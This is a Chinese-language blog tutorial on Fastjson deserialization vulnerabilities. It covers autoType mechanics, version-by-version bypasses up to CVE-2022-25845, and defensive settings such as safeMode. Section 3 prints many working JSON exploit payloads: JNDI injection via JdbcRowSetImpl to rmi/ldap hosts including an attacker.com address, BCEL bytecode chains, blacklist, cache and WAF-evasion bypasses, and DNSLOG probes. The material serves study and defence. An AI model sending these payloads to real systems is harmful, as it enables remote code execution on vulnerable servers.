Fastjson反序列化漏洞

一、Fastjson 基础

1.1 Fastjson 序列化与反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.candy;

public class User {
public String name;
public int age;

public User() {
System.out.println("无参构造函数调用!");
}

public User(String name, int age) {
System.out.println("带参构造函数调用!" + name);
this.name = name;
this.age = age;
}

public String getName() {
System.out.println("getName()函数调用!" + name);
return name;
}
public void setName(String name) {
System.out.println("setName()函数调用!" + name);
this.name = name;
}
public int getAge() {
System.out.println("getAge()函数调用!" + name);
return age;
}
public void setAge(int age) {
System.out.println("setAge()函数调用!" + name);
this.age = age;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.candy;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class ser {
public static void main(String[] args) {
User u1 = new User("zhangsan", 18);
User u2 = new User("lisi", 18);
User u3 = new User("wangwu", 18);
System.out.println("=======================");
String jsonString1 = JSON.toJSONString(u1);
// 传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本 String jsonString2 = JSON.toJSONString(u2, SerializerFeature.WriteClassName);
String jsonString3 = JSON.toJSONString(u3, SerializerFeature.WriteClassName);

System.out.println(jsonString1);
System.out.println(jsonString2);
System.out.println(jsonString3);

System.out.println("=======================");

Object parse = JSON.parse(jsonString1);
System.out.println(parse);

System.out.println("=======================");

User user = JSON.parseObject(jsonString2, User.class);
System.out.println(user);

System.out.println("=======================");

JSONObject jsonObject = JSON.parseObject(jsonString3);
System.out.println(jsonObject);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
带参构造函数调用!zhangsan
带参构造函数调用!lisi
带参构造函数调用!wangwu
=======================
getAge()函数调用!zhangsan
getName()函数调用!zhangsan
getAge()函数调用!lisi
getName()函数调用!lisi
getAge()函数调用!wangwu
getName()函数调用!wangwu
{"age":18,"name":"zhangsan"}
{"@type":"org.candy.User","age":18,"name":"lisi"}
{"@type":"org.candy.User","age":18,"name":"wangwu"}
=======================
{"name":"zhangsan","age":18}
=======================
无参构造函数调用!
setAge()函数调用!null
setName()函数调用!lisi
org.candy.User@21bcffb5
=======================
无参构造函数调用!
setAge()函数调用!null
setName()函数调用!wangwu
getAge()函数调用!wangwu
getName()函数调用!wangwu
{"name":"wangwu","age":18}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.candy;

public class Student {
private String name;
private int age;
private String gender = "male";

public Student() {
System.out.println("无参构造函数调用!");
}

public Student(String name, int age) {
System.out.println("带参构造函数调用!" + name);
this.name = name;
this.age = age;
}

public String getName() {
System.out.println("getName()函数调用!" + name);
return name;
}
public void setName(String name) {
System.out.println("setName()函数调用!" + name);
this.name = name;
}
public int getAge() {
System.out.println("getAge()函数调用!" + name);
return age;
}
public void setAge(int age) {
System.out.println("setAge()函数调用!" + name);
this.age = age;
}

public void setGender(String gender) {
this.gender = gender;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.candy;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class serStudent {
public static void main(String[] args) {
Student s1 = new Student("zhangsan", 18);
Student s2 = new Student("lisi", 18);
Student s3 = new Student("wangwu", 18);
System.out.println("=======================");
String jsonString1 = JSON.toJSONString(s1);
// 传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本 String jsonString2 = JSON.toJSONString(s2, SerializerFeature.WriteClassName);
String jsonString3 = JSON.toJSONString(s3, SerializerFeature.WriteClassName);

System.out.println(jsonString1);
System.out.println(jsonString2);
System.out.println(jsonString3);

System.out.println("=======================");

Object parse = JSON.parse(jsonString1);
System.out.println(parse);

System.out.println("=======================");

Student Student = JSON.parseObject(jsonString2, Student.class);
System.out.println(Student);

System.out.println("=======================");

JSONObject jsonObject = JSON.parseObject(jsonString3);
System.out.println(jsonObject);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
带参构造函数调用!zhangsan
带参构造函数调用!lisi
带参构造函数调用!wangwu
=======================
getAge()函数调用!zhangsan
getName()函数调用!zhangsan
getAge()函数调用!lisi
getName()函数调用!lisi
getAge()函数调用!wangwu
getName()函数调用!wangwu
{"age":18,"name":"zhangsan"}
{"@type":"org.candy.Student","age":18,"name":"lisi"}
{"@type":"org.candy.Student","age":18,"name":"wangwu"}
=======================
{"name":"zhangsan","age":18}
=======================
无参构造函数调用!
setAge()函数调用!null
setName()函数调用!lisi
org.candy.Student@21bcffb5
=======================
无参构造函数调用!
setAge()函数调用!null
setName()函数调用!wangwu
getAge()函数调用!wangwu
getName()函数调用!wangwu
{"name":"wangwu","age":18}

1.2 结论

  • Fastjson 序列化行为总结
    1. 序列化时调用 Getter 方法
      • Fastjson 默认通过 JavaBean 规范来识别字段,即调用对应的 getXxx() 方法取值 * 没有公开的 getter 方法的 private 成员变量,默认不会被序列化
      • 但如果直接用 @JSONField 注解标记字段,即使没有 getter 也能被序列化
      • transient 修饰的字段默认不会被序列化
    2. 特殊情况
      • 如果字段是 static,不会被序列化
      • 如果字段是 null,默认会跳过,但可以通过 SerializerFeature.WriteMapNullValue 来输出 null
      • 如果 Getter 方法名不规范(如 geturl 而不是 getUrl),Fastjson 可能无法识别
      • 如果在 Getter 方法中加入自定义逻辑(如打印日志、计算值),Fastjson 序列化时会执行该逻辑
  • Fastjson 反序列化行为总结
    1. 反序列化时调用 Setter 方法
      • Fastjson 解析 JSON 时,会按字段名匹配 JavaBeansetXxx() 方法,调用 setter 来赋值
      • 如果字段是 public 且无 setter 方法,Fastjson 会直接对该字段赋值
    2. 特殊情况
      • 如果字段是 private 且无 setter 方法,Fastjson 默认无法赋值,但可以通过 @JSONField 注解或 FieldBased 特性让其直接操作字段
      • JSON 中包含未知字段时
        • 默认会被忽略
        • 如果开启 Feature.IgnoreNotMatch,不会报错;如果关闭可能抛异常
      • JSON 中缺失某个字段时
        • 如果 JavaBean 有默认值(如构造函数赋值),则保留默认值
        • 如果 Setter 方法中带有逻辑(比如日志打印、参数检查),反序列化时会实际执行该逻辑

二、Fastjson 漏洞原理与机制分析

2.1 漏洞产生原因

2.1.1 设计缺陷

过度的灵活性设计

  • Fastjson 为了提供便利的序列化体验,引入了 @type 字段来指定反序列化的目标类型
  • 这种设计允许在 JSON 数据中动态指定要实例化的 Java 类,为攻击者提供了控制程序执行流程的入口
  • 缺乏对用户输入类型信息的严格验证和限制机制

任意类实例化风险

1
外部输入 (@type) → 类型解析 → 反射加载 → 实例创建 → 方法调用 → 危险操作

2.1.2 自动方法调用机制

Setter 方法自动调用

  • 反序列化过程中,Fastjson 会自动调用对象的 setter 方法进行属性赋值
  • 如果 setter 方法内部包含危险操作(如网络请求、文件操作、系统命令执行),将被无条件触发
  • 攻击者可以通过构造特定的 JSON 数据来控制 setter 方法的参数

Getter 方法意外触发

  • 在特定场景下(如 $ref 引用解析、JSONObject 包装转换),getter 方法会被意外调用
  • 某些类的 getter 方法内部存在副作用操作,成为攻击利用点
  • 这种隐式的方法调用往往被开发者忽略

初始化逻辑执行

  • 类的构造函数、静态代码块、初始化方法在对象创建时自动执行
  • 恶意类可以在这些初始化过程中嵌入危险代码
  • 即使不进行属性赋值,仅实例化就可能触发攻击

2.1.3 安全机制

黑白名单绕过

  • 早期版本缺乏有效的类型校验机制
  • 后期版本的黑白名单实现存在绕过可能:
    • 类名处理逻辑缺陷(如 L;LL;;[ 等前后缀绕过)
    • 哈希比对机制存在冲突风险
    • 缓存机制被恶意利用
    • expectClass 参数校验逻辑漏洞

智能特性带来的风险

  • smartMatch 智能匹配:可能触发意外的方法调用
  • $ref 引用机制:延迟解析可能导致额外的计算和方法执行
  • 容器类型处理:集合、Map 等容器在元素处理过程中可能触发危险方法

2.2 反序列化基本流程

2.2.1 解析入口与初始化

解析入口点

1
2
3
4
5
// 主要入口方法
JSON.parse(String text)
JSON.parseObject(String text)
JSON.parseObject(String text, Class<T> clazz)
JSON.parseArray(String text, Class<T> clazz)

流程初始化

  1. 创建 DefaultJSONParser 实例
  2. 初始化 ParserConfig 配置(包含安全策略、黑白名单等)
  3. 准备词法分析器 JSONLexer 进行 Token 解析
  4. 开始逐字符解析 JSON 文本

2.2.2 核心解析流程

第一阶段:词法分析

  • JSONLexer 将 JSON 文本分解为 Token 流
  • 识别关键字段,特别是 @type 字段
  • 处理字符串、数字、布尔值等基本数据类型

第二阶段:类型确定

1
遇到 @type 字段 → 提取类名 → checkAutoType 安全校验 → TypeUtils.loadClass() 加载类

第三阶段:对象构造

  1. 类加载验证:通过反射机制加载指定类
  2. 实例创建:调用类的构造函数创建对象实例
  3. 反序列化器定位:寻找适合的 Deserializer(通常是 JavaBeanDeserializer

第四阶段:属性绑定

  1. 字段映射:将 JSON 键与 Java 对象属性进行映射
  2. Setter 调用:逐个调用 setter 方法进行属性赋值
  3. 类型转换:处理数据类型转换(String → Date、Number 转换等)
  4. 嵌套对象处理:递归处理嵌套的复杂对象

2.2.3 特殊处理机制

引用解析机制

  • $ref 引用在解析时会延迟计算
  • 可能触发目标对象的 getter 方法
  • 循环引用检测可能被绕过或利用

容器类型处理

  • 集合类(List、Set):添加元素时可能触发元素对象的方法
  • Map 类:键值对操作可能触发 key 的 hashCode()equals() 方法
  • 数组类型:数组元素赋值和类型转换过程

JSONObject/JSONArray 包装

  • 在类型转换过程中会调用目标对象的方法
  • toJavaObject() 方法可能触发额外的方法调用
  • 包装和解包装过程存在安全风险

2.2.4 关键节点与风险点

类型校验节点(checkAutoType)

1
ParserConfig.checkAutoType(String typeName, Class<?> expectClass, int features)
  • 黑白名单匹配
  • 哈希值快速比对
  • expectClass 参数影响校验逻辑
  • 可能的绕过点和安全漏洞

方法调用节点

  • 构造函数调用:对象实例化时
  • Setter 方法调用:属性赋值时
  • Getter 方法调用:引用解析、类型转换时
  • 特殊方法调用:hashCode、equals、toString 等

2.3 攻击向量与利用链

2.3.1 经典攻击向量

JNDI 注入攻击

  • 支持协议:RMI、LDAP、DNS
  • 攻击流程:@type 指定 JndiDataSourceLookup 等类 → setter 方法触发 JNDI 查询 → 远程加载恶意类
  • 环境限制:高版本 JDK 对远程类加载有限制(如 trustURLCodebase=false)

模板类利用

  • TemplatesImpl 攻击链:通过模板引擎加载恶意字节码
  • ScriptEngineManager:脚本引擎执行恶意代码
  • 适用场景:不出网环境下的本地代码执行

第三方组件利用

  • 数据库连接池:c3p0、Tomcat-DBCP、HikariCP
  • ORM 框架组件:MyBatis、Hibernate 相关类
  • Web 框架组件:Spring、XBean 等框架类

2.3.2 环境依赖分析

JDK 版本差异

JDK 版本 限制措施 影响
JDK 8u121+ 默认限制 RMI 远程加载 RMI 攻击向量失效
JDK 8u191+ 默认限制 LDAP 远程加载 LDAP 攻击向量失效
JDK 11+ 移除部分内部类 BCEL 等利用链失效

网络环境影响

  • 出网环境:可利用远程 JNDI 服务
  • 不出网环境:依赖本地类库和二次反序列化
  • 内网环境:可能存在内网 RMI/LDAP 服务

2.4 安全机制与防护

2.4.1 版本演进与安全改进

1.2.24 及之前版本

  • autoType 默认开启
  • 缺乏有效的安全校验机制
  • 安全风险最高

1.2.25 - 1.2.67 版本

  • autoType 默认关闭
  • 引入黑白名单机制
  • 但存在多种绕过方法

1.2.68+ 版本

  • 引入 safeMode 安全模式
  • 加强类型校验逻辑
  • 持续修复绕过漏洞

2.4.2 关键安全配置

autoType 控制

1
2
3
4
5
6
7
8
// 开启 autoType(不推荐)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

// 添加白名单
ParserConfig.getGlobalInstance().addAccept("com.example.safe.Class");

// 启用安全模式(推荐)
ParserConfig.getGlobalInstance().setSafeMode(true);

Feature 特性控制

  • SupportNonPublicField:支持私有字段序列化
  • FieldBased:基于字段而非 setter/getter
  • DisableCircularReferenceDetect:禁用循环引用检测
  • IgnoreNotMatch:忽略不匹配字段

2.4.3 攻击面评估

解析方法风险对比

方法 风险级别 原因
JSON.parse() 完全依赖 JSON 中的 @type
JSON.parseObject(json, Class) 仍可能通过嵌套 @type 触发
JSON.parseArray() 数组元素中的 @type 风险

典型利用场景

  1. Web 接口:接受 JSON 数据的 HTTP 接口
  2. 消息队列:处理序列化消息的消费者
  3. 缓存系统:从缓存中反序列化数据
  4. 配置文件:解析 JSON 格式的配置文件
  5. 日志系统:处理包含 JSON 数据的日志

2.5 总结

Fastjson 漏洞的根本原因在于其设计理念中对灵活性的过度追求,以及对用户输入的过度信任。通过 @type 字段实现的动态类型指定功能,虽然提供了强大的序列化能力,但同时也为攻击者提供了控制程序执行流程的入口。

理解 Fastjson 的反序列化流程和关键安全机制,对于识别和防护相关安全风险至关重要。在实际应用中,应该采用最新版本的 Fastjson,启用安全模式,并严格控制可序列化的类型范围。

三、Fastjson反序列化漏洞利用分析

3.1 Fastjson漏洞时间线概

Fastjson反序列化漏洞主要围绕@type字段autoType机制展开。从最初的1.2.24版本到后续版本,阿里巴巴不断修补漏洞,而安全研究者也在持续寻找绕过方法,形成了一攻防对抗”的演进过程

3.2 早期漏洞利用 1.2.24及之前版本

3.2.1 JdbcRowSetImpl利用

影响版本 Fastjson 1.2.24

漏洞原理

  • com.sun.rowset.JdbcRowSetImpl类在调用setAutoCommit()方法时,会触connect()方法
  • connect()方法会尝试连接dataSourceName指定的数据源
  • 通过控制dataSourceName为JNDI服务地址,可触发JNDI注入

Payload

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Exploit",
"autoCommit": true
}

攻击流程

  1. Fastjson解析JSON时识别@typeJdbcRowSetImpl
  2. 实例化JdbcRowSetImpl对象
  3. 调用setDataSourceName()设置数据源
  4. 调用setAutoCommit(true)触发connect()方法
  5. connect()方法中调用lookup(dataSourceName)导致JNDI注入

3.2.2 TemplatesImpl利用

影响版本 Fastjson 1.2.24

漏洞原理

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类可加载字节码
  • 通过_bytecodes字段注入恶意类的字节码
  • 调用getOutputProperties()方法时会触发newTransformer()
  • newTransformer()中调用defineTransletClasses()实例化字节码中的类

限制条件

  • 需要开启Feature.SupportNonPublicField特性
  • 因为_bytecodes等字段是私有字段,正常情况下无法设置

Payload示例

1
2
3
4
5
6
7
8
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["[base64编码的恶意class字节码]"],
"_name": "a",
"_tfactory": {},
"_outputProperties": {},
"_version": "1.0"
}

3.3 黑名单绕过(1.2.25-1.2.47)

3.3.1 checkAutoType机制引入

版本变化 Fastjson 1.2.25

Fastjson 1.2.25版本引入checkAutoType()函数,通过黑白名单机制来防御反序列化攻击:

  • denyList(黑名单):禁止的类名列表
  • acceptList(白名单):允许的类名列表
  • autoTypeSupport:默认为false,是否开启autoType支持

黑名单包含的关键类:

  • com.sun.rowset.JdbcRowSetImpl
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase

3.3.2 L;绕过方法

影响版本 Fastjson 1.2.25 - 1.2.41

绕过原理

  • Fastjson在处理类名时,会去除开头的L和结尾的;
  • 通过在类名前添加L,结尾添加;来绕过黑名单检测

Payload

1
2
3
4
5
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://127.0.0.1:1399/Exploit",
"autoCommit": true
}

前提条件 需要autoTypeSupport属性为true,1.2.25+默认为false

3.3.3 LL;;绕过方法

影响版本 Fastjson 1.2.25 - 1.2.42

绕过原理

  • 双重L;符号绕过,利用多次处理的逻辑缺陷

Payload

1
2
3
4
5
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://127.0.0.1:1399/Exploit",
"autoCommit": true
}

3.3.4 [字符绕过方法

影响版本 Fastjson 1.2.25 - 1.2.43

绕过原理

  • 利用数组类型的处理逻辑,在类名前添加[字符

Payload

1
2
3
4
5
{
"@type": "[com.sun.rowset.JdbcRowSetImpl"[{},
"dataSourceName": "ldap://127.0.0.1:1399/Exploit",
"autoCommit": true
}

3.3.5 其他利用

Mybatis JndiDataSourceFactory利用链:

影响版本 Fastjson 1.2.25 - 1.2.45

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:1399/Exploit"
}
}

3.4 缓存绕过(1.2.25-1.2.47)

3.4.1 java.lang.Class缓存绕过

影响版本 Fastjson 1.2.33 - 1.2.47

绕过原理

  • 通过java.lang.Class将目标类加载到缓存中
  • 缓存中的类在后续反序列化时不会再次经过checkAutoType检测
  • 1.2.48之后缓存机制被改为默认关闭

Payload

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1399/Exploit",
"autoCommit": true
}
}

3.5 高版本绕过技术(1.2.48+)

3.5.1 expectClass绕过(1.2.68)

影响版本 Fastjson 1.2.68

绕过原理

  • 利用expectClass参数绕过checkAutoType()检测
  • 主要使用ThrowableAutoCloseable接口进行绕过

3.5.2 BCEL ClassLoader利用

影响版本 适用于多个版本(Java 8u251之前)

绕过原理

  • com.sun.org.apache.bcel.internal.util.ClassLoader在加载类时,如果类名包含$$BCEL$$
  • 会对$$BCEL$$后的字符串进行BCEL解码,作为类的字节码
  • 通过defineClass()创建Class对象,实现任意代码执行

Tomcat DBCP利用链:

1
2
3
4
5
6
7
8
9
{
"x": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$[BCEL编码的恶意字节码]"
}
}

Mybatis利用链:

1
2
3
4
5
6
7
{
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driver": "$$BCEL$$[BCEL编码的恶意字节码]"
}

注意 Java 8u251之后,BCEL相关类被移除,此利用方法失效

3.5.3 XBean JNDI利用

XBean JndiConverter

1
2
3
4
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "rmi://127.0.0.1:1098/exploit"
}

Cocoon JMSContentInterceptor

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://localhost:1389/Exploit"
},
"namespace": ""
}

3.6 safeMode绕过(1.2.68+)

3.6.1 safeMode机制

版本引入 Fastjson 1.2.68+

安全机制

  • safeMode开启后,完全禁用autoType功能
  • 即使配置了白名单,在safeMode模式下也会失效
  • 这是Fastjson最严格的安全模式

配置方式

  1. 代码配置ParserConfig.getGlobalInstance().setSafeMode(true)
  2. JVM参数-Dfastjson.parser.safeMode=true
  3. 配置文件:在fastjson.properties中设置

3.6.2 1.2.68-1.2.80版本绕过机制

绕过原理 1.2.68版本将java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable加入黑名单,但可以通过异常Throwable作为期望类进行绕过

利用条件

  • 目标类必须继承自Throwable
  • 应用未开启safeMode模式
  • 使用JSON.parseJSON.parseObject且未指定具体类型

示例Payload

1
2
3
4
5
6
{
"@type": "java.lang.Exception",
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/exploit",
"autoCommit": true
}

3.7 CVE-2022-25845 (1.2.80)

3.7.1 漏洞概述

CVE编号 CVE-2022-25845

CVSS评分 8.1(高危)

影响版本 Fastjson 1.2.80及以下版本

修复版本 1.2.83+

3.7.2 漏洞原理

核心机制 该漏洞利用了Fastjson在处理Throwable类型时的特殊逻辑,绕过了checkAutoType安全检查

关键代码路径

  1. com.alibaba.fastjson.parser.ParserConfig#getDeserializer检测目标类是否继承Throwable
  2. 如果是,则调用ThrowableDeserializer.deserialize()
  3. ThrowableDeserializer#createException中实现代码执行

3.7.3 利用条件与限

利用条件

  • Fastjson版本 ≤ 1.2.80
  • 未开启safeMode模式
  • 应用调用JSON.parseJSON.parseObject且未指定具体类型
  • 传入用户可控的JSON数据

利用限制

  • 只能调用继承Throwable类的反序列化gadget
  • 实际可利用的gadget类相对有限

3.7.4 利用Payload

基础绕过Payload

1
2
3
4
5
6
{
"@type": "java.lang.Exception",
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker.com:1099/exploit",
"autoCommit": true
}

BCEL字节码注入:

1
2
3
4
5
6
7
8
{
"@type": "java.lang.Exception",
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$[恶意字节码]"
}

组合利用链:

1
2
3
4
5
6
7
8
9
10
11
{
"@type": "com.alibaba.fastjson.JSONObject",
"x": {
"@type": "java.lang.Exception",
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$[恶意字节码]"
}
}

3.8 1.2.83版本修复与后续发展

3.8.1 1.2.83版本修复

修复措施 2022年3月3日,阿里巴巴发布Fastjson 1.2.83版本,修复了CVE-2022-25845漏洞

主要改进

  • 加强了对Throwable类型的安全检测
  • 完善了checkAutoType机制
  • 增强了safeMode的防护能力

3.8.2 Fastjson项目状态

项目归档 2024年3月3日,Fastjson 1.x项目被官方归档,不再维护

官方建议

  • 推荐升级到Fastjson 2.0版本
  • Fastjson 2.0性能更好,安全性更高
  • 提供了兼容包,便于迁移

3.8.3 Fastjson 2.0安全改进

架构重构

  • 完全重写了反序列化引擎
  • 默认禁用autoType功能
  • 更严格的类型检查机制

安全特性:

  • 内置更完善的黑名单
  • 支持更细粒度的安全配置
  • 提供了更好的安全审计功能

3.9 最新绕过技术与防护对抗

3.9.1 WAF绕过技术

编码绕过

  • Base64编码:在multipart请求中使用Content-Transfer-Encoding: base64
  • QP编码:使用quoted-printable编码绕过WAF检测

嵌套绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"xx": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x": {
"name": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$[恶意字节码]"
}
}
}

3.9.2 现代防护策略

多层防护

  1. 版本升级 升级到Fastjson 2.0或最新的1.2.83+版本
  2. 安全配置 强制开启safeMode模式
  3. 输入验证 严格验证JSON输入,过滤@type字段
  4. 网络隔离 限制应用的外网访问,防止JNDI/RMI攻击
  5. 运行时防护 使用RASP等运行时应用自我保护技术

监控告警

  • 监控包含@type的JSON请求
  • 检测异常的网络连接(RMI、LDAP等)
  • 监控异常的类加载行为
  • 记录反序列化异常和错误

3.10 漏洞检测技术

3.10.1 版本探测

无报错探测:

1
2
3
4
5
6
7
8
# 区分1.2.83/1.2.24(不报错)与1.2.25-1.2.80(报错)
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}

# 区分1.2.24-1.2.68(不报错)与1.2.70-1.2.83(报错)
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}

# 检测1.2.80及以下版本(CVE-2022-25845
{"@type":"java.lang.Exception","@type":"com.sun.rowset.JdbcRowSetImpl"}

延迟探测

1
2
3
4
5
# 通过请求本机端口的延迟差异判断版本
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/test", "autoCommit":true}

# CVE-2022-25845延迟探测
{"@type":"java.lang.Exception","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/test","autoCommit":true}

3.10.2 DNSLOG检测

不同版本的DNS探测

1
2
3
4
5
6
7
8
9
10
11
12
# Fastjson <1.2.43
{"@type":"java.net.URL","val":"http://dnslog.com"}

# Fastjson <1.2.48
{"@type":"java.net.InetAddress","val":"dnslog.com"}

# Fastjson <1.2.68
{"@type":"java.net.Inet4Address","val":"dnslog.com"}
{"@type":"java.net.Inet6Address","val":"dnslog.com"}

# CVE-2022-25845 DNSLOG探测
{"@type":"java.lang.Exception","@type":"java.net.InetAddress","val":"dnslog.com"}

3.10.3 safeMode检测

检测是否开启safeMode

1
2
3
4
5
# 如果开启safeMode,以下payload不会触发任何反序列化
{"@type":"java.lang.Class","val":"java.lang.String"}

# 检测autoType是否完全禁用
{"@type":"java.util.HashMap"}

3.11 防御建议

3.11.1 版本升级策略

  1. 首选方案: 升级到Fastjson 2.0版本
    • 性能更好,安全性更高
    • 提供兼容包,便于迁移
    • 官方长期维护支持
  2. 次选方案: 升级到1.2.83+版本并开启safeMode
    • 注意1.x版本已停止维护
    • 仅作为临时过渡方案

3.11.2 安全配置

强制开启safeMode

  1. ParserConfig.getGlobalInstance().setSafeMode(true);

禁用autoType

  1. ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  2. 严格白名单: 如必须使用autoType,严格配置白名单

3.11.3 应用层防护

  1. 输入验证 严格验证JSON输入,过滤@type字段
  2. 网络隔离 限制应用的外网访问,防止JNDI/RMI攻击
  3. 运行时防护 使用RASP等运行时应用自我保护技术
  4. 监控告警 监控异常的网络连接和类加载行为

3.12 总结

Fastjson反序列化漏洞的演进体现了攻防对抗的典型过程:

  • 1.2.24及之前: 无防护,直接利用
  • 1.2.25-1.2.47 黑名单防护,各种绕过技术
  • 1.2.48-1.2.67 缓存机制改进,利用难度增加
  • 1.2.68-1.2.80 safeMode机制,但存在Throwable绕过(CVE-2022-25845)
  • 1.2.83+ 修复Throwable绕过,最严格防护
  • Fastjson 2.0 架构重构,安全性根本改善

每个版本的修复都会被新的绕过方法突破,直到Fastjson 2.0的架构重构。这提醒开发者需要:

  1. 及时跟进安全更新,优先升级到Fastjson 2.0
  2. 采用多层防护策略,不依赖单一安全机制
  3. 对用户输入保持警惕,严格验证和过滤
  4. 在安全性和功能性之间找到平衡,避免过度依赖autoType功能
  5. 建立完善的安全监控和应急响应机制

参考链接

  1. https://drun1baby.top/2022/08/04/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8701-Fastjson%E5%9F%BA%E7%A1%80/
  2. https://xz.aliyun.com/t/16547time__1311=GuD%3DY5BK0I8x%2FD0lD2mDumADO%2Bn2xPi%3DPa4D
  3. https://xz.aliyun.com/t/14872time__1311=GqA2Y50K4IxBqDwqeqBK96DmE9O83x
  4. https://www.cnblogs.com/nice0e3/p/14601670.html
  5. https://www.cnblogs.com/LINGX5/p/18797812
  6. https://rivers.chaitin.cn/blog/cq70jnqp1rhtmlvvdo2g
  7. https://www.cnblogs.com/LINGX5/p/18802834
  8. https://github.com/safe6Sec/Fastjson

Fastjson反序列化漏洞
http://candyb0x.github.io/2025/08/23/Fastjson反序列化漏洞/
作者
Candy
发布于
2025年8月23日
更新于
2025年8月23日
许可协议